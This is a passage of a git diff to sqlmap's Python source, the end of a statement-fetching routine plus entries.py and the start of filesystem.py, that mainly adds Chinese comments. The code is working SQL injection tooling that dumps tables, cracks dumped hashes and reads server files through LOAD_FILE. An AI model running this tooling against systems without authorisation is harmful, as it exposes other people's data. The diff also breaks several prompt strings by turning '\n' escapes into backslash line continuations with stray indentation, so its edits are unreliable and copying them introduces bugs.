kb.data.cachedStatements.append(value.strip()) - - elif Backend.isDbms(DBMS.PGSQL) and "current_query" not in query: - query = query.replace("query", "current_query") - continue - - break - - if not kb.data.cachedStatements and isInferenceAvailable() and not conf.direct: - infoMsg = "fetching number of statements" - logger.info(infoMsg) - - query = rootQuery.blind.count - - if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): - query = re.sub("INFORMATION_SCHEMA", "DATA_DICTIONARY", query, flags=re.I) - - count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - - if count == 0: - return kb.data.cachedStatements - elif not isNumPosStrValue(count): - errMsg = "unable to retrieve the number of statements" - raise SqlmapNoneDataException(errMsg) - - plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES - indexRange = getLimitRange(count, plusOne=plusOne) - - for index in indexRange: - value = None - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # case with multiple processes - query = rootQuery.blind.query3 % index - identifier = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT)) - - if not isNoneValue(identifier): - query = rootQuery.blind.query2 % identifier - value = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT)) - - if isNoneValue(value): - query = rootQuery.blind.query % index - - if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): - query = re.sub("INFORMATION_SCHEMA", "DATA_DICTIONARY", query, flags=re.I) - - value = unArrayizeValue(inject.getValue(query, union=False, error=False)) - - if not isNoneValue(value): - kb.data.cachedStatements.append(value) - - if not kb.data.cachedStatements: - errMsg = "unable to retrieve the statements" - logger.error(errMsg) - else: - kb.data.cachedStatements = [_.replace(REFLECTED_VALUE_MARKER, "") for _ in kb.data.cachedStatements] - - return kb.data.cachedStatements + kb.data.cachedStatements = [_.replace(REFLECTED_VALUE_MARKER, "") for _ in kb.data.cachedStatements] + # 22. 返回缓存的 SQL 语句 + return kb.data.cachedStatements \ No newline at end of file diff --git a/src/sqlmap-master/plugins/generic/entries.py b/src/sqlmap-master/plugins/generic/entries.py index f6e8c01..ba10471 100644 --- a/src/sqlmap-master/plugins/generic/entries.py +++ b/src/sqlmap-master/plugins/generic/entries.py @@ -5,10 +5,14 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ +# 导入正则表达式模块 import re +# 从lib.core.agent模块导入agent对象,用于处理注入过程中的各种细节 from lib.core.agent import agent +# 从lib.core.bigarray模块导入BigArray类,用于高效存储和处理大量数据 from lib.core.bigarray import BigArray +# 从lib.core.common模块导入各种常用函数和常量,如Backend、clearConsoleLine、getLimitRange等 from lib.core.common import Backend from lib.core.common import clearConsoleLine from lib.core.common import getLimitRange @@ -25,33 +29,47 @@ from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming +# 从lib.core.convert模块导入getConsoleLength函数,用于获取控制台字符串的长度 from lib.core.convert import getConsoleLength from lib.core.convert import getUnicode +# 从lib.core.data模块导入conf和kb对象,用于存储配置信息和知识库信息 from lib.core.data import conf from lib.core.data import kb +# 从lib.core.data模块导入logger对象,用于记录日志信息 from lib.core.data import logger +# 从lib.core.data模块导入queries对象,用于存储各种数据库的查询语句 from lib.core.data import queries +# 从lib.core.dicts模块导入DUMP_REPLACEMENTS字典,用于替换转储数据中的特殊字符 from lib.core.dicts import DUMP_REPLACEMENTS +# 从lib.core.enums模块导入各种枚举类型,如CHARSET_TYPE、DBMS、EXPECTED、PAYLOAD等 from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD +# 从lib.core.exception模块导入各种自定义异常类 from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException +# 从lib.core.settings模块导入各种配置常量 from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import CURRENT_DB from lib.core.settings import METADB_SUFFIX from lib.core.settings import NULL from lib.core.settings import PLUS_ONE_DBMSES from lib.core.settings import UPPER_CASE_DBMSES +# 从lib.request模块导入inject函数,用于执行SQL注入 from lib.request import inject +# 从lib.utils.hash模块导入attackDumpedTable函数,用于对转储的表数据进行攻击 from lib.utils.hash import attackDumpedTable +# 从lib.utils.pivotdumptable模块导入pivotDumpTable函数,用于执行透视转储表操作 from lib.utils.pivotdumptable import pivotDumpTable +# 导入第三方six库,用于兼容Python 2和Python 3 from thirdparty import six +# 导入第三方six库的zip函数,并重命名为_zip from thirdparty.six.moves import zip as _zip +# 定义Entries类,用于封装枚举数据库条目的相关功能 class Entries(object): """ This class defines entries' enumeration functionalities for plugins. @@ -60,9 +78,12 @@ class Entries(object): def __init__(self): pass + # 定义dumpTable方法,用于转储指定表的条目 def dumpTable(self, foundData=None): + # 强制执行数据库枚举,确保已获取数据库类型 self.forceDbmsEnum() + # 如果没有指定数据库或指定为当前数据库,则获取当前数据库 if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " @@ -71,65 +92,81 @@ class Entries(object): logger.warning(warnMsg) conf.db = self.getCurrentDb() - + # 如果指定了数据库 elif conf.db is not None: + # 如果数据库是属于大写数据库类型,则将其转换为大写 if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() + # 如果数据库名包含逗号,则抛出异常,因为只允许一个数据库名 if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) + # 如果数据库名匹配排除模式,则跳过 if conf.exclude and re.search(conf.exclude, conf.db, re.I) is not None: infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(conf.db) singleTimeLogMessage(infoMsg) return + # 对数据库名进行安全处理 conf.db = safeSQLIdentificatorNaming(conf.db) or "" + # 如果指定了表 if conf.tbl: + # 如果表名是属于大写数据库类型,则将其转换为大写 if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.tbl = conf.tbl.upper() - + # 将表名拆分为列表 tblList = conf.tbl.split(',') + # 如果没有指定表 else: + # 获取所有表 self.getTables() - + # 如果已缓存表信息 if len(kb.data.cachedTables) > 0: + # 获取表列表 tblList = list(six.itervalues(kb.data.cachedTables)) - + # 如果表列表嵌套,则解包 if tblList and isListLike(tblList[0]): tblList = tblList[0] + # 如果指定了数据库但未能获取表信息 elif conf.db and not conf.search: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) else: return - + # 对表名列表中的表名进行安全处理 for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) - + # 遍历表列表 for tbl in tblList: + # 如果检测到键盘中断,则跳出循环 if kb.dumpKeyboardInterrupt: break - + # 如果表名匹配排除模式,则跳过 if conf.exclude and re.search(conf.exclude, tbl, re.I) is not None: infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) singleTimeLogMessage(infoMsg) continue - + # 设置当前表名 conf.tbl = tbl + # 初始化已转储的表数据 kb.data.dumpedTable = {} - + # 如果没有传入已发现的列数据 if foundData is None: + # 清空缓存的列信息 kb.data.cachedColumns = {} + # 获取列信息,仅获取列名,并设置转储模式 self.getColumns(onlyColNames=True, dumpMode=True) + # 如果传入了已发现的列数据,则直接使用 else: kb.data.cachedColumns = foundData try: + # 根据数据库类型设置转储表名 if Backend.isDbms(DBMS.INFORMIX): kb.dumpTable = "%s:%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.SQLITE): @@ -139,6 +176,7 @@ class Entries(object): else: kb.dumpTable = "%s.%s" % (conf.db, tbl) + # 如果未能获取列信息,则跳过当前表 if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: warnMsg = "unable to enumerate the columns for table '%s'" % unsafeSQLIdentificatorNaming(tbl) if METADB_SUFFIX.upper() not in conf.db.upper(): @@ -148,12 +186,16 @@ class Entries(object): continue + # 获取当前表的列信息 columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] + # 对列名列表进行排序 colList = sorted(column for column in columns if column) + # 如果指定了排除模式,则从列名列表中排除匹配的列 if conf.exclude: colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] + # 如果没有可用的列名,则跳过当前表 if not colList: warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) if METADB_SUFFIX.upper() not in conf.db.upper(): @@ -161,9 +203,11 @@ class Entries(object): warnMsg += " (no usable column names)" logger.warning(warnMsg) continue - + # 设置全局变量 kb.dumpColumns 为当前表需要转储的列名列表 kb.dumpColumns = [unsafeSQLIdentificatorNaming(_) for _ in colList] + # 将列名列表转换为逗号分隔的字符串 colNames = colString = ','.join(column for column in colList) + # 获取转储表的根查询 rootQuery = queries[Backend.getIdentifiedDbms()].dump_table infoMsg = "fetching entries" @@ -173,18 +217,22 @@ class Entries(object): if METADB_SUFFIX.upper() not in conf.db.upper(): infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - + + # 遍历列名列表,对每个列名进行预处理 for column in colList: _ = agent.preprocessField(tbl, column) if _ != column: colString = re.sub(r"\b%s\b" % re.escape(column), _.replace("\\", r"\\"), colString) + # 初始化条目计数 entriesCount = 0 + # 如果存在可用的注入技术,或使用了--direct参数 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + # 初始化条目列表 entries = [] query = None - + # 根据数据库类型构建查询语句 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): @@ -247,9 +295,10 @@ class Entries(object): query = rootQuery.inband.query % (colString, conf.db, tbl) query = agent.whereQuery(query) - + # 如果没有获取到条目,并且查询语句存在,并且没有检测到键盘中断 if not entries and query and not kb.dumpKeyboardInterrupt: try: + # 执行查询语句,获取条目信息 entries = inject.getValue(query, blind=False, time=False, dump=True) except KeyboardInterrupt: entries = None @@ -257,7 +306,7 @@ class Entries(object): clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warning(warnMsg) - + # 如果成功获取到条目 if not isNoneValue(entries): if isinstance(entries, six.string_types): entries = [entries] @@ -266,6 +315,7 @@ class Entries(object): entriesCount = len(entries) + # 遍历每个列名和条目,更新转储的表数据信息 for index, column in enumerate(colList): if column not in kb.data.dumpedTable: kb.data.dumpedTable[column] = {"length": len(column), "values": BigArray()} @@ -273,19 +323,20 @@ class Entries(object): for entry in entries: if entry is None or len(entry) == 0: continue - + # 如果条目是字符串类型 if isinstance(entry, six.string_types): colEntry = entry + # 否则,获取指定索引的条目 else: colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u'' maxLen = max(getConsoleLength(column), getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry)))) - + # 更新最大长度 if maxLen > kb.data.dumpedTable[column]["length"]: kb.data.dumpedTable[column]["length"] = maxLen - + # 添加条目值 kb.data.dumpedTable[column]["values"].append(colEntry) - + # 如果没有转储表数据,并且可以使用盲注方式,且不是直接模式 if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of " if conf.col: @@ -293,7 +344,8 @@ class Entries(object): infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - + + # 构建盲注获取条目计数的查询语句 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.MAXDB, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): @@ -307,21 +359,22 @@ class Entries(object): query = agent.whereQuery(query) + # 执行盲注查询,获取条目计数 count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) lengths = {} entries = {} - + # 如果条目计数为0 if count == 0: warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db) warnMsg += "appears to be empty" logger.warning(warnMsg) - + # 初始化长度和条目 for column in colList: lengths[column] = len(column) entries[column] = [] - + # 如果未能获取条目计数 elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " if conf.col: @@ -331,7 +384,7 @@ class Entries(object): logger.warning(warnMsg) continue - + # 对于特定数据库 elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI, DBMS.RAIMA): if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.RAIMA): table = tbl @@ -339,7 +392,7 @@ class Entries(object): table = "%s.%s" % (conf.db, tbl) if conf.db else tbl elif Backend.isDbms(DBMS.INFORMIX): table = "%s:%s" % (conf.db, tbl) if conf.db else tbl - + # 如果是mssql并且没有强制透视 if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting: warnMsg = "in case of table dumping problems (e.g. column entry order) " warnMsg += "you are advised to rerun with '--force-pivoting'" @@ -369,7 +422,7 @@ class Entries(object): clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warning(warnMsg) - + # 如果没有获取到条目,且没有检测到键盘中断 if not entries and not kb.dumpKeyboardInterrupt: try: retVal = pivotDumpTable(table, colList, count, blind=True) @@ -382,12 +435,12 @@ class Entries(object): if retVal: entries, lengths = retVal - + # 对于其他数据库 else: emptyColumns = [] plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) - + # 如果列的数量小于行数,且大于阈值,则进行空列检查 if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: debugMsg = "checking for empty columns" logger.debug(infoMsg) @@ -398,7 +451,7 @@ class Entries(object): debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) - + try: for index in indexRange: for column in colList: @@ -409,7 +462,7 @@ class Entries(object): if column not in entries: entries[column] = BigArray() - + # 根据不同的数据库类型,构建盲注查询语句 if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): @@ -428,10 +481,10 @@ class Entries(object): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) query = agent.whereQuery(query) - + # 执行盲注查询,获取值 value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True) value = '' if value is None else value - + # 更新最大长度和条目值 lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) entries[column].append(value) @@ -440,14 +493,15 @@ class Entries(object): clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warning(warnMsg) - + # 遍历获取到的条目,将结果保存到kb.data.dumpedTable中 for column, columnEntries in entries.items(): length = max(lengths[column], len(column)) kb.data.dumpedTable[column] = {"length": length, "values": columnEntries} - + # 获取总行数 entriesCount = len(columnEntries) + # 如果没有转储表数据,或者条目数为0,且有权限标识 if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag): warnMsg = "unable to retrieve the entries " if conf.col: @@ -456,15 +510,18 @@ class Entries(object): warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") logger.warning(warnMsg) else: + # 保存转储的信息,包括总行数、表名和数据库名 kb.data.dumpedTable["__infos__"] = {"count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db)} try: + # 对转储的数据进行攻击 attackDumpedTable() except (IOError, OSError) as ex: errMsg = "an error occurred while attacking " errMsg += "table dump ('%s')" % getSafeExString(ex) logger.critical(errMsg) + # 将转储的数据传递给dumper conf.dumper.dbTableValues(kb.data.dumpedTable) except SqlmapConnectionException as ex: @@ -473,40 +530,46 @@ class Entries(object): logger.critical(errMsg) finally: + # 清空全局变量 kb.dumpColumns = None kb.dumpTable = None + # 定义dumpAll方法,用于转储所有数据库中的所有表的所有条目 def dumpAll(self): + # 如果指定了数据库,但没有指定表,则只转储该数据库下的表 if conf.db is not None and conf.tbl is None: self.dumpTable() return - + # 如果是MySQL数据库,且没有information_schema if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" raise SqlmapUnsupportedFeatureException(errMsg) - + infoMsg = "sqlmap will dump entries of all tables from all databases now" logger.info(infoMsg) - + + # 清空表和列的全局变量 conf.tbl = None conf.col = None + # 获取所有表 self.getTables() - + + # 如果有缓存的表信息 if kb.data.cachedTables: if isinstance(kb.data.cachedTables, list): kb.data.cachedTables = {None: kb.data.cachedTables} - + + # 遍历数据库和表 for db, tables in kb.data.cachedTables.items(): conf.db = db - + for table in tables: if conf.exclude and re.search(conf.exclude, table, re.I) is not None: infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table) logger.info(infoMsg) continue - try: conf.tbl = table kb.data.cachedColumns = {} @@ -517,45 +580,57 @@ class Entries(object): infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table) logger.info(infoMsg) + # 定义dumpFoundColumn方法,用于转储已发现的列 def dumpFoundColumn(self, dbs, foundCols, colConsider): message = "do you want to dump found column(s) entries? [Y/n] " - + # 询问用户是否要转储已发现的列 if not readInput(message, default='Y', boolean=True): return dumpFromDbs = [] - message = "which database(s)?\n[a]ll (default)\n" + message = "which database(s)?\ +[a]ll (default)\ +" + # 构建数据库选项 for db, tblData in dbs.items(): if tblData: - message += "[%s]\n" % unsafeSQLIdentificatorNaming(db) + message += "[%s]\ +" % unsafeSQLIdentificatorNaming(db) message += "[q]uit" + # 接收用户选择 choice = readInput(message, default='a') - + # 处理用户选择 if not choice or choice in ('a', 'A'): dumpFromDbs = list(dbs.keys()) elif choice in ('q', 'Q'): return else: dumpFromDbs = choice.replace(" ", "").split(',') - + # 遍历数据库 for db, tblData in dbs.items(): if db not in dumpFromDbs or not tblData: continue conf.db = db dumpFromTbls = [] - message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db) - message += "[a]ll (default)\n" + message = "which table(s) of database '%s'?\ +" % unsafeSQLIdentificatorNaming(db) + message += "[a]ll (default)\ +" + # 构建表选项 for tbl in tblData: - message += "[%s]\n" % tbl + message += "[%s]\ +" % tbl - message += "[s]kip\n" + message += "[s]kip\ +" message += "[q]uit" + # 接收用户选择 choice = readInput(message, default='a') - + # 处理用户选择 if not choice or choice in ('a', 'A'): dumpFromTbls = tblData elif choice in ('s', 'S'): @@ -564,80 +639,120 @@ class Entries(object): return else: dumpFromTbls = choice.replace(" ", "").split(',') - + # 遍历表 for table, columns in tblData.items(): if table not in dumpFromTbls: continue conf.tbl = table colList = [_ for _ in columns if _] - + # 如果指定了排除模式,则排除匹配的列 if conf.exclude: colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] - + # 设置需要转储的列 conf.col = ','.join(colList) kb.data.cachedColumns = {} kb.data.dumpedTable = {} data = self.dumpTable(dbs) - + # 如果成功转储了数据,则传递给dumper if data: conf.dumper.dbTableValues(data) def dumpFoundTables(self, tables): + # 1. 定义一个消息,询问用户是否要转储发现的表条目 message = "do you want to dump found table(s) entries? [Y/n] " + # 2. 使用 readInput 函数获取用户输入,默认值为 'Y' (是),并将其转换为布尔值 + # 如果用户输入 'n' (否) 或者其他非 'y' 的值,则返回 False,否则返回 True。 + # 如果用户输入为否,则直接返回,不进行后续的转储操作 if not readInput(message, default='Y', boolean=True): return + # 3. 初始化一个空列表 dumpFromDbs,用于存储用户选择要转储的数据库 dumpFromDbs = [] - message = "which database(s)?\n[a]ll (default)\n" + # 4. 构建一个消息,用于提示用户选择要转储的数据库,其中 [a]ll (default) 表示默认选择全部数据库 + message = "which database(s)?\ + [a]ll (default)\ + " + # 5. 遍历传入的 tables 字典,该字典的键是数据库名,值是该数据库下的表列表 for db, tablesList in tables.items(): + # 6. 如果该数据库有表,则将数据库名添加到消息中,并进行安全 SQL 标识符命名处理 if tablesList: - message += "[%s]\n" % unsafeSQLIdentificatorNaming(db) + message += "[%s]\ + " % unsafeSQLIdentificatorNaming(db) + # 7. 在消息中添加一个选项 [q]uit,允许用户退出 message += "[q]uit" + # 8. 使用 readInput 函数获取用户输入,默认值为 'a',表示选择全部数据库 choice = readInput(message, default='a') + # 9. 如果用户没有输入或者输入为 'a' (或 'A'),则将所有数据库添加到 dumpFromDbs 列表中 if not choice or choice.lower() == 'a': dumpFromDbs = list(tables.keys()) + # 10. 如果用户输入为 'q' (或 'Q'),则直接返回,不进行后续的转储操作 elif choice.lower() == 'q': return + # 11. 否则,将用户输入的数据库名按逗号分割,并添加到 dumpFromDbs 列表中 else: dumpFromDbs = choice.replace(" ", "").split(',') + # 12. 遍历 tables 字典,键是数据库名,值是该数据库下的表列表 for db, tablesList in tables.items(): + # 13. 如果当前数据库不在 dumpFromDbs 列表中,或者当前数据库没有表,则跳过该数据库 if db not in dumpFromDbs or not tablesList: continue + # 14. 将当前数据库名赋值给 conf.db (全局配置参数) conf.db = db + # 15. 初始化一个空列表 dumpFromTbls,用于存储用户选择要转储的表 dumpFromTbls = [] - message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db) - message += "[a]ll (default)\n" - + # 16. 构建一个消息,用于提示用户选择当前数据库下要转储的表 + message = "which table(s) of database '%s'?\ + " % unsafeSQLIdentificatorNaming(db) + # 17. 在消息中添加一个选项 [a]ll (default),表示默认选择全部表 + message += "[a]ll (default)\ + " + + # 18. 遍历当前数据库下的表列表,将表名添加到消息中,并进行安全 SQL 标识符命名处理 for tbl in tablesList: - message += "[%s]\n" % unsafeSQLIdentificatorNaming(tbl) + message += "[%s]\ + " % unsafeSQLIdentificatorNaming(tbl) - message += "[s]kip\n" + # 19. 在消息中添加一个选项 [s]kip,允许用户跳过当前数据库的表 + message += "[s]kip\ + " + # 20. 在消息中添加一个选项 [q]uit,允许用户退出 message += "[q]uit" + # 21. 使用 readInput 函数获取用户输入,默认值为 'a',表示选择全部表 choice = readInput(message, default='a') + # 22. 如果用户没有输入或者输入为 'a' (或 'A'),则将所有表添加到 dumpFromTbls 列表中 if not choice or choice.lower() == 'a': dumpFromTbls = tablesList + # 23. 如果用户输入为 's' (或 'S'),则跳过当前数据库的表,继续处理下一个数据库 elif choice.lower() == 's': continue + # 24. 如果用户输入为 'q' (或 'Q'),则直接返回,不进行后续的转储操作 elif choice.lower() == 'q': return + # 25. 否则,将用户输入的表名按逗号分割,并添加到 dumpFromTbls 列表中 else: dumpFromTbls = choice.replace(" ", "").split(',') + # 26. 遍历 dumpFromTbls 列表,该列表存储当前数据库下要转储的表名 for table in dumpFromTbls: + # 27. 将当前表名赋值给 conf.tbl (全局配置参数) conf.tbl = table + # 28. 清空 kb.data.cachedColumns (全局配置参数) 缓存的列信息 kb.data.cachedColumns = {} + # 29. 清空 kb.data.dumpedTable (全局配置参数) 缓存的表数据 kb.data.dumpedTable = {} + # 30. 调用 self.dumpTable() 函数,转储当前表的数据 data = self.dumpTable() + # 31. 如果转储成功 (data 不为空),则将转储的数据传递给 conf.dumper.dbTableValues() 函数进行后续处理 if data: - conf.dumper.dbTableValues(data) + conf.dumper.dbTableValues(data) \ No newline at end of file diff --git a/src/sqlmap-master/plugins/generic/filesystem.py b/src/sqlmap-master/plugins/generic/filesystem.py index 779a233..37c1179 100644 --- a/src/sqlmap-master/plugins/generic/filesystem.py +++ b/src/sqlmap-master/plugins/generic/filesystem.py @@ -5,320 +5,496 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ -import codecs -import os -import sys - -from lib.core.agent import agent -from lib.core.common import Backend -from lib.core.common import checkFile -from lib.core.common import dataToOutFile -from lib.core.common import decloakToTemp -from lib.core.common import decodeDbmsHexValue -from lib.core.common import isListLike -from lib.core.common import isNumPosStrValue -from lib.core.common import isStackingAvailable -from lib.core.common import isTechniqueAvailable -from lib.core.common import readInput -from lib.core.compat import xrange -from lib.core.convert import encodeBase64 -from lib.core.convert import encodeHex -from lib.core.convert import getText -from lib.core.convert import getUnicode -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.enums import CHARSET_TYPE -from lib.core.enums import DBMS -from lib.core.enums import EXPECTED -from lib.core.enums import PAYLOAD -from lib.core.exception import SqlmapUndefinedMethod -from lib.core.settings import UNICODE_ENCODING -from lib.request import inject +import codecs # 用于处理不同编码的文本 +import os # 用于与操作系统进行交互 +import sys # 用于访问与系统相关的参数和函数 + +from lib.core.agent import agent # 导入 agent 模块,用于与数据库进行交互 +from lib.core.common import Backend # 导入 Backend 模块,用于获取数据库信息 +from lib.core.common import checkFile # 导入 checkFile 函数,用于检查文件是否存在 +from lib.core.common import dataToOutFile # 导入 dataToOutFile 函数,用于将数据写入文件 +from lib.core.common import decloakToTemp # 导入 decloakToTemp 函数,用于将伪装的文件名转换为临时文件路径 +from lib.core.common import decodeDbmsHexValue # 导入 decodeDbmsHexValue 函数,用于解码数据库的十六进制数据 +from lib.core.common import isListLike # 导入 isListLike 函数,用于检查是否为列表类型 +from lib.core.common import isNumPosStrValue # 导入 isNumPosStrValue 函数,用于检查是否为正数字符串 +from lib.core.common import isStackingAvailable # 导入 isStackingAvailable 函数,用于检查是否支持堆叠查询 +from lib.core.common import isTechniqueAvailable # 导入 isTechniqueAvailable 函数,用于检查是否支持某种注入技术 +from lib.core.common import readInput # 导入 readInput 函数,用于读取用户输入 +from lib.core.compat import xrange # 导入 xrange 函数,用于生成数字序列 +from lib.core.convert import encodeBase64 # 导入 encodeBase64 函数,用于进行 Base64 编码 +from lib.core.convert import encodeHex # 导入 encodeHex 函数,用于进行十六进制编码 +from lib.core.convert import getText # 导入 getText 函数,用于将数据转换为文本 +from lib.core.convert import getUnicode # 导入 getUnicode 函数,用于将数据转换为 Unicode +from lib.core.data import conf # 导入 conf 模块,用于获取全局配置信息 +from lib.core.data import kb # 导入 kb 模块,用于获取全局知识库信息 +from lib.core.data import logger # 导入 logger 模块,用于打印日志信息 +from lib.core.enums import CHARSET_TYPE # 导入 CHARSET_TYPE 枚举,用于指定字符集类型 +from lib.core.enums import DBMS # 导入 DBMS 枚举,用于指定数据库类型 +from lib.core.enums import EXPECTED # 导入 EXPECTED 枚举,用于指定预期的数据类型 +from lib.core.enums import PAYLOAD # 导入 PAYLOAD 枚举,用于指定攻击载荷类型 +from lib.core.exception import SqlmapUndefinedMethod # 导入 SqlmapUndefinedMethod 异常,用于处理未定义的方法 +from lib.core.settings import UNICODE_ENCODING # 导入 UNICODE_ENCODING 变量,用于指定 Unicode 编码 +from lib.request import inject # 导入 inject 模块,用于进行 SQL 注入 class Filesystem(object): """ - This class defines generic OS file system functionalities for plugins. + 这个类定义了插件的通用操作系统文件系统功能。 """ def __init__(self): - self.fileTblName = "%sfile" % conf.tablePrefix - self.tblField = "data" + # 初始化文件表名 + self.fileTblName = "%sfile" % conf.tablePrefix # 将配置中的表前缀与 "file" 组合,生成表名 + # 初始化表字段名 + self.tblField = "data" # 设置表字段名为 "data" def _checkFileLength(self, localFile, remoteFile, fileRead=False): + """ + 检查本地文件和远程文件长度是否相同。 + + Args: + localFile (str): 本地文件路径 + remoteFile (str): 远程文件路径 + fileRead (bool, optional): 是否为读取文件操作. Defaults to False. + + Returns: + bool: 如果文件长度相同返回 True,否则返回 False。如果无法判断则返回 None + """ if Backend.isDbms(DBMS.MYSQL): - lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile + # 如果是 MySQL 数据库 + lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile # 构建获取远程文件长度的 SQL 查询 elif Backend.isDbms(DBMS.PGSQL) and not fileRead: - lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid + # 如果是 PostgreSQL 数据库且不是读取文件操作 + lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid # 